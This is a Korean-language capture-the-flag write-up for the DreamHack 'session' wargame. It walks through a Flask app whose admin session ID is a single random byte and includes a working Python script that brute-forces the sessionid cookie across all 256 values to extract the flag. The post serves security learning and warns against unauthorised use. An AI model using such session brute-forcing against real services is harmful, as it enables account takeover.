Post

[Dreamhack]session 풀이

개요

DreamHack의 워게임 session문제에 대한 풀이를 작성했습니다.

해당 공격 기법들을 허가되지 않은 실제 운영 서버에서 시도하는 것은 정보통신망법에 어긋나는 행위입니다.

풀이

1. 취약한 코드.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

session_storage = {
}

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

위 코드는 해당 문제의 전체코드이다. 해당 코드들을 나눠서 설명하자면.


1
2
3
4
5
6
7
8
9
@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

루트 디렉토리 즉 사이트 메인화면에 접근할 경우 이 코드들이 실행된다. 처음 get요청으로 session을 session_id에 저장한뒤 session_storage의 인덱스에 넣어 session_storage 테이블에 맞는 값이 username에 저장된다. 이후 return으로 render가 될 때 만약 username이 admin이 맞다면 "Hello admin, flag is DH{flag}"가 출력될것이고, 아니라면 "Hello {username}, you are not admin"이 출력될것이다. 따라서 이 이 문제를 풀기위한 목표은 admin의 비밀번호를 알아내거나 admin의 session값을 알아내는것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

해당 코드는 /login에 접근을 했을 경우에 대한 코드들이다. get방식의 요청을 받았을 때는 login.html을 렌더링해주고 post요청을 받을경우에는 usernamepassword를 받은 후 pw에 username을 users의 인덱스로 받고 만약 users에 해당 username과 일치하는 요소가 없을 경우 not found user를 alert로 띄우고 또 입력한 password와 pw가 일치하지 않을경우 wrong password가 alert로 출력이되고 pw까지 맞았다하면 session_id가 4바이트의 랜덤한 값을 hex로 인코딩하고 session_storage에 인덱스로 session_id를 넣고 해당하는 값으로 username이 저장된다.


1
2
3
4
5
if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

이 코드에서는 admin user에 대한 세션 설정이 나타나있다. 특이한것이 보이는데 위에서 session을 설정할 때에는 os.urandom(4).hex()로 4바이트의 랜덤한 값이 session으로 설정되었다면 admin은 1바이트의 랜덤한 값으로 설정이 되어있다는 것이다. 여기서 16진수는 2진수의 각 4비트를 16진수 1자리로 표현하는 방법으로 1바이트는 2자리의 16진수가 된다. 따라서 00부터 ff까지 256개의 16진수 값을 표현할 수 있다.

따라서 admin의 비밀번호를 brut force 하는 것보다 admin의 session_id를 brut force하는것이 더 효율적이기에 session_id를 brut force했다.

2. 툴 제작

처음에는 16진수값 00~ff까지 사전파일을 만들기위해 python코드를 작성해보았다.

1
2
3
4
with open('session_burt_force.txt', 'w') as f:
    for i in range(256):
        hex_string = format(i, '02x')   # 2자리의 문자열이고 한자리일경우 앞에 0이붙은 i의 hex값을 hex_string에 저장 
        f.write(hex_string + '\n')      # hex_string을 쓰고 다음줄로 이동


위에서 작성한 사전파일을 이용해 exploit을 하는 python코드를 작성해보았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import argparse
import sys
import re

parser = argparse.ArgumentParser(description="[DreamHack] session exploit tool.")

parser.add_argument('-u', '--url', dest='URL', help="로그인해서 열은 해당 문제의 사이트의 URL로 exploit (ex.http://host3.dreamhack.games:0000/)")
parser.add_argument('-c', '--create', dest='CREATE', help="1바이트 크기의 16진수 파일 만들기", action='store_true')

args = parser.parse_args()

url = args.URL


if args.CREATE:
    with open('session.txt', 'w') as f:
        for i in range(256):
            hex_string = format(i, '02x')
            f.write(hex_string + '\n')
    print('File "session.txt" successfully created.')


if args.URL:
    try:
        with open('session.txt', 'r') as f:
            hex_list = f.read().splitlines()
    except:
        print("-c 옵션으로 파일을 생성해주세요.")
        sys.exit()

    try:
        response_len = requests.get(url)
    except:
        print("유효하지 않는 URL입니다.")
        sys.exit()
            
    initial_response_len = len(response_len.text)

    pattern = r'DH\{.*?\}'  # DH{로 시작하고 }로 끝나는 패턴
    for cookie in hex_list:
        head = {"sessionid": f"{cookie}"}
        response = requests.get(url, cookies=head)
        print(cookie)

        if len(response.text) != initial_response_len:
            print(f"admin session: {cookie}")
            matches = re.findall(pattern, response.text)    # 패턴 찾기
            for match in matches:
                print(f'Flag: {match}')
            break

elif not args.CREATE: 
    print("URL을 지정하세요. (-h, --help)")
This post is licensed under CC BY 4.0 by the author.